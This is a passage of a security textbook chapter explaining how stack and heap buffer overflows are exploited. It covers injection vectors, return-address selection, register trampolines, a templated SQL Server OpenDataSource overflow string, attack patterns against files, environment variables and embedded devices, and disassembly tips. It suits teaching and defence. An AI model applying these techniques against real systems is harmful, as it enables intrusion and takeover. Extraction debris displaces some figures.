
The buffer overflow is the whipping boy of software security. The main
reason for omnipresent discussion and hype surrounding the buffer

overflow is that the buffer overflow remains the principal method used to
exploit software by remotely injecting malicious code into a target. Al-
though the techniques of buffer overflow have been widely published else-
where, this chapter remains a necessity. The buffer overflow has evolved
over the years, as have a number of other attack techniques and, as a result,
powerful new buffer overflow attacks have been developed. If nothing else,
this chapter will serve as a foundation as you come to grips with the subtle
nature of buffer overflows.

Buffer Overflow 101

The buffer overflow remains the crown jewel of attacks, and it is likely to
remain so for years to come. Part of this has to do with the common ex-
istence of vulnerabilities leading to buffer overflow. If holes are there, they
will be exploited. Languages that have out-of-date memory management
capability such as C and C++ make buffer overflows more common than
they should be.1 As long as developers remain unaware of the security rami-
fications of using certain everyday library functions and system calls, the
buffer overflow will remain commonplace.

Control flow and memory vulnerabilities can take many forms. A search
for the words “buffer overflow” using Google returns more than 176,000
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1. Technically speaking, C and C++ are “unsafe” languages because the seething sea of bits
can be referenced, manipulated, casted, and moved around by the programmer with impu-
nity. More advanced languages, including Java and C#, are “type safe” and are for this
reason much preferred from a security perspective.
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hits. Clearly the once-esoteric and closely guarded technique is now all too
common. Yet, most attackers (and defenders) have only the most rudimen-
tary understanding of buffer overflows and the harm they are capable of
inflicting. Most people with a passing interest in security (those who read
security papers and attend security conferences and trade shows) know that
buffer overflows allow remote code to be injected into a system and then
run. The upshot of this fact is that worms and other sorts of malicious mo-
bile code have a clear path for attacking a system and leaving behind a back-
door such as a rootkit. In too many cases, remote code injection via buffer
overflow is possible and a backdoor can be easily installed.

Buffer overflows are a kind of memory usage vulnerability. This is
primarily an accident of computer science history. Memory was once a
precious resource, and thus managing memory was critical. In some older
systems, such as the Voyager spacecraft, memory was so precious that once
certain sections of machine code were no longer needed, the code was erased
forever from the memory module, freeing up space for other uses. This
effectively created a program that was self-destructive and could only be run
once. Contrast this with a modern system in which memory is gobbled up in
huge multimegabyte swaths and almost never released. Most software sys-
tems connected to the network today have abhorrent memory problems,
especially when directly connected to hostile environments like the Internet.
Memory is cheap, but the effects of bad memory management are very ex-
pensive. Bad memory usage can lead to internal corruption within a pro-
gram (especially with reference to control flow), denial-of-service problems,
and even remote exploits like buffer overflows.

Ironically, the world already knows how to avoid the buffer overflow
problem; however, knowledge of the solutions, available for years, has done
little to thwart the rampant growth of buffer overflow problems in net-
worked code. In truth, fixing the problem is well within our grasp techni-
cally, but sociologically we have a longer way to go. The main problem is
that developers for the most part remain blithely unaware of the issue.2 It is
likely that for the next five to ten years, buffer overflow problems of various
types will continue to plague software.

The most common form of buffer overflow, called the stack overflow,
can be easily prevented by programmers. More esoteric forms of memory
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2. Books on secure coding, including Building Secure Software [Viega and McGraw, 2001]
and Writing Secure Code [Howard and LeBlanc, 2002] can help developers avoid the buffer
overflow.
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corruption, including the heap overflow, are harder to avoid. By and large,
memory usage vulnerabilities will continue to be a fruitful resource for ex-
ploiting software until modern languages that incorporate modern memory
management schemes are in wider use.

Smashing the Stack (for Fun and Profit)3

Somewhere way back in the early days of UNIX, someone thought it would
be a good idea to build string handling routines in the programming lan-
guage called C. Most of these routines are designed to work on NULL-
terminated strings (in most cases, the NULL character being a zero byte).
For efficiency and simplicity, these routines were designed to look for the
NULL character in a semi-automated fashion so that the programmer didn’t
have to manage the size of the string directly. This seems to work just fine
most of the time, and has thus been adopted worldwide. Unfortunately,
because the core idea was really, really bad, we are now subject to a
worldwide disease called the buffer overflow.

Many times, C’s string handling routines implicitly trust that the user
will supply a NULL character. When the NULL is not there, the software
program literally explodes on itself. This explosion can have various
peculiar side effects that attackers can take advantage of to insert machine
code that is executed later by the target machine. Unlike an attack on
parsers or API calls, this is a structural attack on the program’s execution
architecture—the attack actually breaks through the walls of our metaphor-
ical house and causes the house itself to collapse.

Buffer overflows result from a very simple programming error (one that
can be easily prevented) that crops up all the time, even after software has
been very carefully designed. The real problem today is that buffer over-
flows are so incredibly widespread that it will be years before the problem
can be fully repaired, patched, and relegated to the dustbin of history. This
is one reason that the buffer overflow has been called the “nuclear bomb of
all software vulnerabilities.”

Corrupting State

One possible effect of a memory error is that corrupted or otherwise dis-
turbed data will be sprayed across some critical memory location. By per-
forming controlled buffer overflow injections and watching what happens
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3. See Aleph1’s famous paper of the same name [1996].
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to the process in a memory debugger, an attacker can find points where
memory is subject to corruption. In some cases, if the location that is being
corrupted maintains critical data or program state information, the attacker
can cause the program to remove all security protections or otherwise
malfunction.

Many programs maintain global state in the form of variables, numbers,
and binary flags stored in memory. In the case of a binary flag, a single bit
bears the responsibility for important decisions. One such important de-
cision might be whether to allow a user to access a file. If this decision cen-
ters on the value stored in a single flag bit in memory, then a program may
have an interesting attack point. If, by accident, that flag were to flip, then
the system would fail (resulting in insecure behavior).4

During an extensive analysis of the Microsoft NT kernel, one of us
(Hoglund) found a situation in which a seemingly insignificant bit flip (1 bit)
removes all security from an entire network of Windows computers. We
discuss this exploit in detail in Chapter 8.

Injection Vectors: Input Rides Again

Injection Vector: (1) a structural anomaly or weakness that allows
code to be transferred from one domain to another, (2) a data
structure or medium that contains and transfers code from one
domain to another

In terms of buffer overflows, injection vectors are the precisely specified
input messages that cause a target to suffer a buffer overflow event. For the
purposes of the discussion that follows, the injection vector is the part of an
attack that injects attack code and causes it to execute (note that we define
this without respect to the intent or purpose of the injected code).

An important distinction must be made between the injection vector and
the payload. The payload is the code that realizes the intent of the attacker.
The injection vector is combined with the payload to create a complete at-
tack. Without a payload, the injection vector doesn’t hold much water. After
all, attackers use injection for particular ends rather than for no apparent
reason.
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4. Interestingly, random memory corruption can flip a bit just as easily as a focused attack on
a buffer overflow vulnerability. Software reliability practitioners have worried about this sort
of problem for years.
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The purpose of the injection vector in the buffer overflow paradigm is
often to gain control of the instruction pointer. Once the instruction pointer
can be controlled, it can be made to point to some attacker-controlled buffer
or other memory location where the payload waits to be invoked. When the
instruction pointer is controlled by an attacker, the attacker is able to trans-
fer control (change program flow) from the normal running program to the
hostile payload code. The instruction pointer is made to point to the hos-
tile code, causing the code to be executed. When this occurs, we call this
activating the payload.

Injection vectors are always tied to a specific bug or vulnerability in the
target software program. There may exist unique injection vectors for every
version of a software package. When developing an offensive capability, an
attacker must design and build specific injection vectors for each particular
software target.

Injection vectors must take into account several factors: the size of a
buffer, the alignment of bytes, and restrictions on characters sets. Injection
vectors are usually coded into a properly formatted protocol of some kind.
For example, a buffer overflow in a router may be exploited via an injection
vector in the Border Gateway Protocol (BGP) handler (Figure 7–1). Thus the
injection vector is created as a specially crafted BGP packet. Because the
BGP protocol is critical to the proper functioning of the global Internet, an
attack of this nature could wipe out service for millions of people at once.
A more down-to-earth example can be found in OSPF (open shortest path
first), where a buffer overflow in the Cisco implementation of OSPF can be
leveraged to wipe out the internal network of a large network site. OSPF is
an older but common routing protocol.
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Figure 7–1 A malicious BGP packet can be used to exploit Cisco routers.
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Where Injection Stops and Payload Begins

For buffer overflows, there is a solid line between the injection vector and
the payload. This line is called the return address. The return address is the
handoff location defining the “moment of truth,” when the payload either
gains control of the CPU or misses by a few bytes and is cast into oblivion.
Figure 7–2 shows an injection vector containing a pointer that is eventually
loaded into the CPU of the target machine.

Choosing the Correct Code Address to Target

One integral part of the injection vector involves the choice of where the
payload will be placed in memory. The injection vector may include the pay-
load in the injected buffer itself, or it may place the payload in a separate
section or part of memory. The memory address of the payload must be
known to the attacker and must be placed directly into the injection vector
(Figure 7–3.) As it turns out, restrictions on the character set allowed to be
used in injection tend to constrain which values can be chosen for the
injected address.

For example, if you are restricted to injecting only numbers larger than
0xB0000001, then your chosen instruction pointer must lie within memory
above this address. This presents real-world problems when parsers convert
some of the attack character bytes to other values or when filters are in place
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Figure 7–2 Getting a pointer to just the right place in the target CPU
is one of the critical techniques in a buffer overflow exploit.
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that restrict what kinds of characters you can place in a byte stream. In
practice, many attacks are restricted to alphanumeric characters.

Highland and Lowland Addresses

Stack memory is a common place to put code. The stack memory on a
Linux machine is usually high enough in the address space that it does not
include 0 bytes. On the other hand, stack memory on a Windows machine is
usually low in memory and at least one of the bytes of a stack address will
include a 0 byte. The problem is that using addresses with 0 bytes results in
a number of NULL characters being present in the injection string. Because
NULL characters are many times used as terminators for C strings, this
tends to limit the size of an injection.

“Highland” stack
0x72103443        ....

0x7210343F        ....

0x7210343B        ....

0x72103438        [start of payload ]

0x72103434        ....

“Lowland” stack
0x00403343        ...

0x0040333F        ...

0x0040333B        [start of payload ]

0x00403338        ...
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Figure 7–3 An instruction pointer points to
the payload in memory.

30294 07 277-366 r10jk.ps  1/30/04  2:19 PM  Page 283



If we want to inject an instruction pointer for the payload illustrated
here, the highland pointer would be 0x38341072 (note the reverse order of
bytes here). The lowland pointer would be 0x3B034000 (note that the last
byte is a 0x00). Because the lowland address contains a NULL character at
the end, this would terminate a C program’s string copy operation, should
we be exploiting one of those.

We can still use the lowland address as an injection for a string buffer
overflow. The only complication is that the injected address must be the
last thing in our injection vector, because the NULL byte will terminate
a string copy operation. In this case, the payload size will be severely re-
stricted. The payload would (in most cases) need to be crammed in before
the injected address in our attack. Figure 7–4 shows the pointer placed after
the payload. In Figure 7–4, we can see that the payload precedes the
injected memory address. Because the memory address ends in a NULL
character, the memory address must make up the end of our injection vector.
The payload is restricted in size and must fit within the injection vector.

Alternatives do exist in a situation like this. For one thing, the attacker
can choose to place the payload somewhere else in memory using another
method. Or better yet, perhaps some other operation in the software will
cause some other heap or stack location to (conveniently) contain shell
code. If either of these conditions holds, there is no need to place the pay-
load in the injection vector. The injection can simply be made to point to
the location where the prepositioned payload is waiting.

Big Endian and Little Endian Representation

Different platforms store large multibyte numbers in two different ways.
The choice of representation scheme makes a huge difference in how num-
bers are represented in memory (and in how such numbers can be used
during exploit).

People used to reading from left to right will find “little endian” rep-
resentation fairly esoteric. In little endian, the number 0x11223344 will be
represented in memory as

44 33 22 11
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The injection vector

3B 03 40 00
payload
machine codeFigure 7–4 Sometimes the pointer needs to

come after the payload itself. NULL-terminated
pointers can be handled in this way.
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Note that the most significant (high-order) bytes of the number are shuffled
to the right.

In big endian, the same number 0x11223344 is represented “more nor-
mally” in memory as

Using Registers

Because of the way most machines work, registers in the processor will
typically point to addresses in and around the point where an injection
occurs. Instead of guessing where the payload will end up in memory, the
attacker can make use of registers to help point the way. The attacker can
choose an injection address pointing to code that moves a value out of a
register or causes a code branch to a location pointed to by a register. If the
attacker knows that the register in question points to user-controlled mem-
ory, then the injector can simply use this register to “call through” into user-
controlled memory. In some cases the attacker may not need to discover or
even hard code the payload address.

Figure 7–5 shows that the attacker’s injection vector has been mapped
into address 0x00400010. The injected address appears in the middle of the
injection vector. The payload starts at address 0x00400030 and includes a
short jump to continue the payload on the other side of the injected address
(we clearly do not want to execute the injected address as code, because in

11 22 33 44
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EBX: 00000000 
ECX: 75302031 
...

push eax
ret
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Figure 7–5 Sometimes a pointer
comes in the middle of a payload.
Then the pointer must (usually) be
avoided by jumping over it.
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most cases an address won’t make much sense to the processor if it is inter-
preted as code).

In this example the attacker does not really need to know where in
memory the injection vector has landed. If we look at the CPU registers, we
see that eax points to the stack address 0x00400030. In many cases we can
depend on certain values being present in the registers. Using eax, the at-
tacker can inject a pointer to some region of memory that contains the bytes
0x50C3. When this code is interpreted by the CPU it means

push eax

ret

This causes the value in eax to be inserted into the instruction pointer
and, voila, activation is complete. It’s worth noting here that the bytes
0x50C3 can exist anywhere in memory for this example. These bytes do not
have to be part of the original program code. We now explain why.

Using Existing Code or Data Blocks in Memory

If the attacker wants to use a register to call through to a payload, the at-
tacker must locate a set of instructions that will perform the dirty work. The
attacker then hard codes the address that has these instructions. Any series
of bytes can be considered instructions by the target processor, so the at-
tacker does not need to find an actual block of code. In fact, the attacker
only needs to find a set of bytes that will be interpreted under the correct
conditions as the instructions in question. Any bytes will do. An attacker
can even perform an operation that inserts these bytes into a dependable lo-
cation. For example, the attacker might issue a request to the software using
a character string that can later be interpreted as machine code. The injec-
tion vector then simply hard codes the address where this request is (legiti-
mately) stored, using it for nefarious means.

Buffer Overflows and Embedded Systems

Embedded systems are everywhere and include all sorts of devices you use
every day: network equipment, printers, cellular phones, and any number
of other small appliances. Perhaps not surprisingly, the underlying code that
operates embedded systems tends to be particularly vulnerable to buffer
overflow attacks. An interesting upshot of this fact is that as server software
becomes more robust against the buffer overflow attack, the brave new
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frontier of buffer overflows is more than likely to shift to embedded systems
software.

Embedded systems run on a variety of hardware platforms. Most such
systems typically use NVRAM technology to store data. In this section, we
discuss a number of buffer overflow attacks against embedded systems.

Embedded Systems in Military and Commercial Use

Embedded systems are pervasive in modern military platforms, ranging from
communications systems to radar networks. A good example of a standard
military system with lots of embedded capability is the AN/SPS-73 radar
system. As it turns out, this system runs VxWorks (a common, commercial,
real-time embedded OS) under the hood. As with most shrink-wrapped
commercial software, there are very likely to be numerous vulnerabilities
in the VxWorks OS and the surrounding “glue” code. A number of these
vulnerabilities might be exercised without authentication—for example via
RPC packets. Apparently, embedded equipment is just as effective a target
as more standard software.

To understand how serious this problem can be, consider the following
scenario:

Embedded Systems as Targets: A Scenario

The straits of Turkey are a geographically important location for oil tankers used to

export oil from the Caspian sea. The straits are extremely narrow and about 160 miles

long. An attacker who wanted to stop oil exports for a few days from the Caspian sea

might attack a tanker’s navigational computer, causing a collision through remote

software exploit.

This hypothetical attack against an oil tanker is not as far fetched as it may seem at

first blush. Modern tankers have an automated navigation system that links with the

global Vessel Traffic Management Information System (VTMIS). This integrated system

is designed to assist a captain when bad weather, cross-currents, and potential

collisions may occur. The system requires authentication for all control functions.

However, VTMIS also supports a data-monitoring and messaging feature that requires

no login or password. The protocol accepts requests that are then processed in an

onboard software module. It just so happens that this software was developed in C,

and that the system is vulnerable to a buffer overflow attack that allows the standard 

(continued)
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For no valid technical reasons, people seem to believe that embedded
systems are invulnerable to remote software-based attacks. One common
misconception runs that because a device does not include an interactive
shell out of the box, then accessing or using “shell code” is not possible.
This is probably why some people (wrongly) explain that the worst thing
that an attacker can do to most embedded systems is merely to crash the
device. The problem with this line of reasoning is that injected code is, in
fact, capable of executing any set of instructions, including an entire shell
program that encompasses and packages up for convenient use standard,
supporting OS-level functions. It does not matter that such code does not
ship with the device. Clearly, this kind of code can simply be placed into the
target during an attack. Just for the record, an attack of this sort may not
need to insert a complete interactive TCP/IP shell. Instead, the attack might
simply wipe out a configuration file or alter a password.

There are any number of complex programs that can be inserted via a
remote attack on an embedded system. Shell code is only one of them. Even
the most esoteric of equipment can be reverse engineered, debugged, and
played with. It does not really matter what processor or addressing scheme
is being used, because all an attacker needs to do is to craft operational code
for the target hardware. Common embedded hardware is (for the most part)
well documented, and such documents are widely available.

To be fair, some kinds of essential equipment are not conveniently con-
nected to networks where potential attackers have access. Nuclear missile

Embedded Systems as Targets: A Scenario (cont.)

authentication to be defeated. This means that an attacker can exploit a “classic” set of

problems to download a new control program to the tanker.

Although for safety reasons there are a number of “manual override” features

available to a captain, a determined attacker stands a good chance of causing a seri-

ous tanker accident by inserting a subversive program into the control equipment—

especially if this insertion is activated while the ship is in a dangerous part of the

waterway. Any accident caused under this scenario has the potential to spill tens of

thousands of gallons of oil into the straits and thereby cause the system to be shut

down for days. (In fact, the straits of Turkey are so dangerous to navigate that a num-

ber of serious accidents have occurred without any cyber attacks at all.)
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targeting, arming, and firing control systems are generally not connected to
the Internet, for example.

❉ Attack Example: Buffer Overflow on a Cisco Router 
Running on a Motorola CPU

The Phenoelit security group released an example shell code program for the
Cisco 1600 router running on the Motorola 68360 QUICC CPU (presented
at Blackhat Asia, 2002). For this remote attack, the injection vector tickles a
buffer overflow in the Cisco IOS and involves several novel techniques to get
around the heap management structures in the IOS OS. By altering the heap
structures, remote code can be inserted and then executed. In the published
attack, shell code is hand-coded Motorola opcode that opens a backdoor on
the router. The attack code can be easily reused given any heap overflow on
the Cisco devices.5

Database Buffer Overflows

Database systems are in many cases the most expensive and most important
parts of large corporate on-line systems. This makes them obvious targets.
Some people debate whether database systems are vulnerable to buffer over-
flow attacks. They are. Using standard SQL statements, we show in this
section how some buffer overflows work in a database environment.

Of course, there are several attack points in any given database system.
A large-scale, database-driven application includes myriad components
operating in concert. This includes scripts (gluing various pieces together),
command-line applications, stored procedures, and client programs related
directly to the database. Each of these components is subject to buffer
overflows.

The database platform itself may also include parsing bugs and/or
signed/unsigned conversion problems that lead to buffer overflows. A good
example of a platform that was itself vulnerable can be found in the Micro-
soft SQL server, in which the OpenDataSource() function suffered from a
buffer overflow vulnerability.6

The attack against OpenDataSource was executed using the transact
SQL (T-SQL) protocol that listens on TCP port 1433. In effect, the protocol

Database Buffer Overflows 289

5. For more information, go to http://www.phenoelit.de.

6. This problem was discovered by David Litchfield. Search for mssql-ods.
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allows SQL statements to be submitted and parsed. The SQL statement for
the attack would look something like this:

SELECT * FROM OpenDataSource("Microsoft.Jet.OLEDB.4.0","Data 

Source="c:\[NOP SLED Padding Here][ Injected Return Address ][ More 

padding][Payload]";User ID=Admin;Password=;Extended properties=Excel 

5.0")...xactions'

Where [NOP SLED], [Padding], [Return Address], and [Payload] are
all sections of binary code injected into the otherwise normal unicode string.

Stored Procedures

Stored procedures are often used to pass data to scripts or to DLLs. If the
script or DLL includes format string bugs or if the script uses vulnerable
library calls (think strcpy() or system()), exploiting these problems via
the database may well be possible. Almost every stored procedure forwards
part of the query. In the case we have in mind, an attacker can use the for-
warded part to cause a buffer overflow to occur in a secondary component.

An old bug (once again in Microsoft SQL server) makes a good ex-
ample. In this case, an attacker was able to cause a buffer overflow in the
code that handles extended stored procedures.7

Command-Line Applications

Sometimes a script or stored procedure calls out to the command-line appli-
cation and supplies data from a query. In many cases this can cause a buffer
overflow or command injection vulnerability. Also, if a script does not have
an API library for dealing with the database, raw SQL statements may be
passed directly to a command-line utility for processing. This is another
place where a buffer overflow might be forced.

Clients of the Database

Finally, when a client program makes a query, it usually needs to process
whatever is returned. If an attacker can poison the data that are being re-
turned by the query, the client program may suffer a buffer overflow. This
tends to be very effective if there is more than one client out there using the
database. In this case, an attacker is often able to infect hundreds of client
machines using a single attack.
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7. For more, see Microsoft knowledge base item no. Q280380.
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Buffer Overflows and Java?!

It is widely assumed that Java is immune to buffer overflow problems. To a
large extent this is true. Because Java has a type-safe memory model, falling
off the end of an object and spilling elsewhere is not possible. This obviates
many buffer overflow attacks. In fact, millions of dollars have been spent
on the JVM, making the software environment resistant to many classic at-
tacks.8 As we know by now, any assumption about security is subject to
interpretation (and revision). The JVM may be structurally sound, but Java-
based technology has been exploited many times in public forums.

Exploits against Java-based systems are typically language-based attacks
(type confusion) and trust exploits (code-signing errors), but even the buffer
overflow has been successfully wielded from time to time against Java. Prob-
lem overflows typically occur in supporting code that is external to the JVM.

The JVM itself is often written in C for a given platform. This means
that without careful attention to implementation details, the JVM itself may
be susceptible to buffer overflow problems. Sun Microsystem’s JVM refer-
ence implementation is quite well inspected, however, and static checks for
vulnerable system calls yield little in the way of targets.

The JVM itself aside, many buffer overflow problems in systems that
include Java come about because of supporting code. As an example, con-
sider the Progress relational database management system in which the
jvmStart program will SEGV if large input parameters are supplied on the
command line. This (once again) illustrates why software designers need to
consider entire systems and not simply constituent components. Although a
critical component may be hardened, a majority of software systems are
only as strong as the weakest component. In the Progress case, supporting
code turns out to be the weak link.

Many Java-based services tend to use components and services that are
written in weakly typed language such as C or C++. In these cases, use of the
Java services themselves sometimes provide direct gateways to much weaker
C/C++ components. These kind of calls can be exploited though back-end
protocols, distributed transactions, stored procedures that call OS services,
and support libraries.
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8. For a brief history of serious security problems in the JVM, however, see Securing Java
[McGraw and Felten, 1998].
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Using Java and C/C++ Together

Integrating Java systems directly with support libraries written in C/C++
happens all the time. Java supports loading of DLLs and code libraries. Ex-
ported functions from libraries can then be used directly from Java. This
kind of integration opens a very real possibility that buffer overflows and
other problems may be exploited in the support libraries. Consider a Java
program that supports a raw packet interface. The Java program may, for
example, allow packet sniffing and generation of raw packets. Such ac-
tivities can be performed by loading a packet library from within a Java
program:

public class MyJavaPacketEngine extends Thread

{

public MyJavaPacketEngine () 

{

}

static

{

System.loadLibrary("packet_driver32");

}

}

The previous Java class will load the DLL called packet_driver32.DLL.
Calls can thereafter be made directly to the DLL. Assume that the Java pro-
gram allows you to specify the binding adapter for packet operations. Then
consider what happens if code deep within the DLL assigns the binding
string to an unterminated string buffer:

PVOID PacketOpenAdapter(LPTSTR p_AdapterName)

{

...

wsprintf(lpAdapter->SymbolicLink, TEXT("\\\\.\\%s%s"),  DOSNAMEPREFIX,

p_AdapterName );

...

}

This is likely a heap overflow waiting to happen. Java or no Java, vulnera-
bilities in the core of the system still exist.
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Stored Procedures and DLLs

Stored procedures provide powerful extensibility to databases and allow
many advanced calls to be made “external” from the database. In some
cases, a stored procedure can be used to call into a library module written in
a broken language such as C. Of course, you know what happens next—
buffer overflow vulnerabilities are uncovered and exploited.

A good place to look for problems like these is in the interfaces between
databases and modules written in other languages. The problem is that basic
“trust boundaries” are violated. The result is that something that seems
perfectly legitimate in Java can be a disaster when it hits the C runtime.

Content-Based Buffer Overflow

Data files are ubiquitous. They are used to store everything from documents
to content media and critical computer settings. Every file has an inherent
format that often encompasses special information such as file length, media
type, and which fonts are boldface, all encoded directly in the data file. The
attack vector against data files like these is simple: Mess up the data file and
wait for some unsuspecting user to open it.

Some kinds of files are strikingly simple and others have complex binary
structures and numerical data embedded in them. Sometimes the simple act
of opening a complex file in a hex editor and tweaking a few bytes is enough
to cause the (unsuspecting) program that consumes the file to crash and burn.

What’s really interesting from an attacker’s point of view is formatting
data file-embedded poison pills in such a way that virus code is activated. A
great example of this involved the Winamp program in which an overly long
IDv3 tag would cause a buffer overflow. In the header of an MP3 file, there
is a location where a normal text string can be placed. This is called the
IDv3 tag, and if an overly long tag were to be supplied, Winamp would suf-
fer a buffer overflow. This could be used by an attacker to construct mali-
cious music files that attack the computer once they are opened in Winamp.

Attack Pattern: Overflow Binary Resource File

The attacker modifies a resource file, such as a sound, video, graphic, or font file. Some-

times simply editing the target resource file in a hex editor is possible. The attacker

modifies headers and structure data that indicate the length of strings, and so forth.
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❉ Attack Example: Overflow Binary Resource File in Netscape

There exists a buffer overflow in Netscape Communicator versions before
version 4.7 that can be exploited via a dynamic font with a length field less
than the actual size of the font.

❉ Attack Example: Overflow Variables and Tags in MidiPlug

A buffer overflow vulnerability exists in the Yamaha MidiPlug that can be
accessed via a Text variable found in an EMBED tag.

❉ Attack Example: Overflow Variables and Tags in Exim

A buffer overflow in Exim allows local users to gain root privileges by pro-
viding a long :include: option in a .forward file.

❉ Attack Example: Overflow with Symbolic Links in EFTP Server

The EFTP server has a buffer overflow that can be exploited if an attacker
uploads a .lnk (link) file that contains more than 1,744 bytes. This is a
classic example of an indirect buffer overflow. First the attacker uploads
some content (the link file) and then the attacker causes the client consum-
ing the data to be exploited. In this example, the ls command is exploited
to compromise the server software.

Attack Pattern: Overflow Symbolic Links

A user often has direct control over symbolic links. A symbolic link can occasionally

provide access to a file that might otherwise be out of bounds. Symbolic links provide

similar avenues of attack as configuration files, although they are one level of indirec-

tion away. Remember that the target software will consume the data pointed to by the

link file and sometimes use it to set variables. This often leads to an unchecked buffer.

Attack Pattern: Overflow Variables and Tags

In this case, the target is a program that reads formatted configuration data and parses

a tag or variable into an unchecked buffer. The attacker crafts a malicious HTML page

or configuration file that includes oversized strings, thus causing an overflow.
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❉ Attack Example: Sendmail Overflow

A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and
8.8.4.

❉ Attack Example: Apache HTTPD Cookie Buffer Overflow

The Apache HTTPD is the most popular Web server in the world. HTTPD
has built-in mechanisms to handle cookies. Versions 1.1.1 and earlier suffer
from a cookie-induced buffer overflow.

All of these examples are just the tip of the iceberg. Client software pro-
grams are almost never well tested, let alone tested explicitly for security.
One particularly interesting aspect of client-side exploits is that the exploit
code ends up executing with whatever permissions the user has. This means
the code ends up with access to everything the user has access to—including
interesting things like e-mail and confidential data.

Many of these attacks are particularly potent, especially when they are
used in concert with social engineering. If, as an attacker, you can get some-
body to open a file, you can usually install a rootkit. Of course, because of
the up-close and personal nature of opening a file, attack code needs to be
stealthy to remain undetected.

Attack Pattern: HTTP Cookies

Because HTTP is a stateless protocol, cookies (small files that are stored in a client

browser) were invented, mostly to preserve state. Poor design of cookie handling

systems leaves both clients and HTTP daemons susceptible to buffer overflow attack.

Attack Pattern: MIME Conversion

The MIME system is designed to allow various different information formats to be

interpreted and sent via e-mail. Attack points exist when data are converted to MIME-

compatible format and back.
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Audit Truncation and Filters with Buffer Overflow

Sometimes very large transactions can be used to destroy a log file or cause
partial logging failures. In this kind of attack, log processing code might be
examining a transaction in real-time processing, but the oversized trans-
action causes a logic branch or an exception of some kind that is trapped.
In other words, the transaction is still executed, but the logging or filtering
mechanism still fails. This has two consequences, the first being that you
can run transactions that are not logged in any way (or perhaps the log
entry is completely corrupted). The second consequence is that you might
slip through an active filter that otherwise would stop your attack.

❉ Attack Example: Filter Failure in Taylor UUCP Daemon

Sending in arguments that are too long to cause the filter to fail open is one
instantiation of the filter failure attack. The Taylor UUCP daemon is de-
signed to remove hostile arguments before they can be executed. If the
arguments are too long, however, the daemon fails to remove them. This
leaves the door open for attack.

Causing Overflow with Environment Variables

A number of attacks are based on playing with environment variables. En-
vironment variables are yet another location where buffer overflow can be
used to serve up a nice platter of untrusted bytes. In the case of environment
variables, the target program is taking input that should never be trusted
and is using it somewhere really important.

Attack Pattern: Filter Failure through Buffer Overflow

In this attack, the idea is to cause an active filter to fail by causing an oversized trans-

action. If the filter fails “open” you win.
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❉ Attack Example: Buffer Overflow in $HOME

A buffer overflow in sccw allows local users to gain root access via the
$HOME environmental variable.

❉ Attack Example: Buffer Overflow in TERM

A buffer overflow in the rlogin program involves its consumption of the
TERM environmental variable.

❉ Attack Example: Libc in FreeBSD

A buffer overflow in the FreeBSD utility setlocale (found in the libc module)
puts many programs at risk all at once.

❉ Attack Example: Xtlib

A buffer overflow in the Xt library of the X windowing system allows local
users to execute commands with root privileges.

Attack Pattern: Buffer Overflow 
in Local Command-line Utilities

Command-line utilities available in a number of shells can be used to escalate privilege

to root.

Attack Pattern: Buffer Overflow in an API Call

Libraries or shared code modules can suffer from buffer overflows too. All clients that

make use of the code library thus become vulnerable by association. This has a very

broad effect on security across a system, usually affecting more than one software

process.

Attack Pattern: Buffer Overflow 
with Environment Variables

Programs consume a huge number of environment variables, but they often do so in

unsafe ways. This attack pattern involves determining whether a particular environment

variable can be used to cause the program to misbehave.
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❉ Attack Example: HPUX passwd

A buffer overflow in the HPUX passwd command allows local users to gain
root privileges via a command-line option.

❉ Attack Example: Solaris getopt

A buffer overflow in Solaris’s getopt command (found in libc) allows local
users to gain root privileges via a long argv[0].

The Multiple Operation Problem

Whenever data are manipulated by a function, the function should track
exactly what it’s doing to the data. This is straightforward when only one
function is “munging” data. But when multiple operations are working on
the same data, keeping track of the effects of each operation gets much
harder. Incorrect tracking leads to big problems. This is especially true if the
operation changes a string somehow.

There are a number of common operations on strings that will change
the size of the string. The problem we’re discussing occurs if the code
performing the conversion does not resize the buffer that the string lives in.

❉ Attack Example: FTP glob()

The glob() function in FTP servers has been susceptible to attack as a result
of incorrect resizing.

Finding Potential Buffer Overflows

One naive approach for finding buffer overflows is simply to supply long
arguments to a program and see what happens. Some of the “application
security” tools use this simplistic approach. You too can do this by typing
in long requests to a Web server or an FTP server, or crafting weird e-mail

Attack Pattern: Parameter Expansion

If supplied parameters are expanded into a larger string by a function, but the larger

size is not accounted for, an attacker gains a foothold. This happens when the original

string size may be (incorrectly) considered by later parts of the program.
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headers and submitting them to a sendmail process. This kind of black
box testing can be effective at times, but it is very time-consuming.

A much better way to test for buffer overflows is to find API calls that
are vulnerable by using static analysis techniques. Using either source code
or disassembled binary, this scanning can be performed in an automated
fashion. Once you find some potential vulnerabilities with static analysis,
you can use black box testing to attempt to exercise them.

Exception Handling Hides Errors

One thing you should be aware of when dynamically testing for possible
overflows is that exception handlers may be in use. Exception handlers will
intercept some violations, and thus it may not be apparent even if you do
cause an interesting overflow. If the program appears to recover from a pos-
sible attempt to cause an overflow, and there is no external indication of the
event, then determining whether your probing is having any effect is difficult.

Exception handlers are special blocks of code that are called when an
error occurs during processing (which is precisely what happens when a
buffer overflow occurs). On the x86 processor, exception handlers are
stored in a linked list and they are called in order. The top of the exception
handler list is stored at an address pointed to by FS:[0]. That is, the FS
register points to a special structure called the thread information block,
and the first element of the structure (FS:[0]) is the exception handler.

You can determine whether an exception handler is being set up by
using the following instructions (the order of these instructions may vary
depending on the phase of the moon, so your mileage will vary with this
trick):

mov eax, fs:[0]

push SOME_ADDRESS_TO_AN_EXCEPTION_HANDLER

push eax

mov dword ptr fs:[0], esp

If you believe that an exception handler might be masking an error you
have caused, you can always attach to the process with a debugger and set a
break point on the exception handler address.

Using a Disassembler

A superior approach to probing around in the dark with dynamic testing
methods is to use static analysis techniques to find overflow targets. One
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excellent place to start is with a disassembly of the binary. A quick look for
static strings that contain formatting characters such as %s with a cross-
reference back to where they are consumed provides plenty of attack fodder.

If you approach things this way, you will usually see static strings
referenced as an offset:

push offset SOME_LOCATION

If you see this kind of code before a string operation, check to determine
whether the address points to a format string of some kind (indicated by
%s). If the offset turns out to be a format string, next check the source string
to determine whether it happens to be a user-controlled string. You can use
boron tagging to help find these things out (see Chapter 6). If the offset is
used as the source of the string operation (and there is no user-supplied
input), this location is most likely not vulnerable because the user cannot
directly control the data.

If the target of the string operation is on the stack, you might see it ref-
erenced as an offset from EBP. For example:

push [ebp-10h]

This kind of structure indicates use of stack buffers. If the target of the
operation is on the stack, then an overflow will be relatively easy to exploit.
If there is a call to strncpy() or something similar that specifies the size of
the destination buffer, you might want to check that the size is at least one
less than the actual buffer length. We will explain this further later, but the
